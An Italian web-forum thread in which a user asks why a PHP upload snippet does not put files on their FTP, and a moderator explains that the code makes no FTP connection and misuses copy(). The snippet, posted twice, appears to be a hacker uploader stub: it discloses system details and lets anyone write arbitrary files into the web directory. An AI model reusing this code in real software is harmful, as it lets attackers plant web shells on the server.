Visualizzazione dei risultati da 1 a 2 su 2
  1. #1
    Utente di HTML.it
    Registrato dal
    Mar 2013
    Messaggi
    2

    Far funzionare il codice php nell'html

    Ciao a tutti ragazzi volevo sapere come faccio a inserire il codice php in una pagina html? In poche parole questo codice fa uscire due bottoni uno si chiama sfoglia e l'altro upload il problema è che sfoglia funziona e upload pure ma se vado a vedere nel mio ftp non vedo il file che ho caricato perciò significa che non funziona come sto facendo.

    questo è il codice

    <?php echo '

    '.php_uname().'
    '; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'credits : www.devilscafe.in

    '; } else { echo 'Upload Sucess !!!

    '; } } ?>

    spero che mi capiate quello che ho detto dalla descrizione che ho messo

  2. #2
    Moderatore di PHP L'avatar di Alhazred
    Registrato dal
    Oct 2003
    Messaggi
    12,503
    Intanto mostriamo il codice in ordine, altrimenti non si capisce niente.

    Codice PHP:
    <?php 
        
    echo '[b]

    '
    .php_uname().'
    [/b]'

        echo 
    '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'
        echo 
    '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'
        if( 
    $_POST['_upl'] == "Upload" 
        { 
            if(@
    copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))
            { 
                echo 
    '[b]credits : [url]www.devilscafe.in[/url][/b]

    '

            } 
            else 
            { 
                echo 
    '[b]Upload Sucess !!![/b]

    '

            } 
        } 
    ?>
    Ora, secondo te dove avresti detto di caricare il file via FTP?
    Non c'è alcuna connessione FTP stabilita, nessun comando di upload FTP... niente di niente.

    L'unica cosa che potrebbe salvare un file sul server è il copy(), ma i parametri che gli passi sono sbagliati, non gli dici dove salvare il file.
    Ad ogni modo, quando si fa l'upload di un file, per poi metterlo dove ti serve si usa move_uploaded_file() non copy().

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.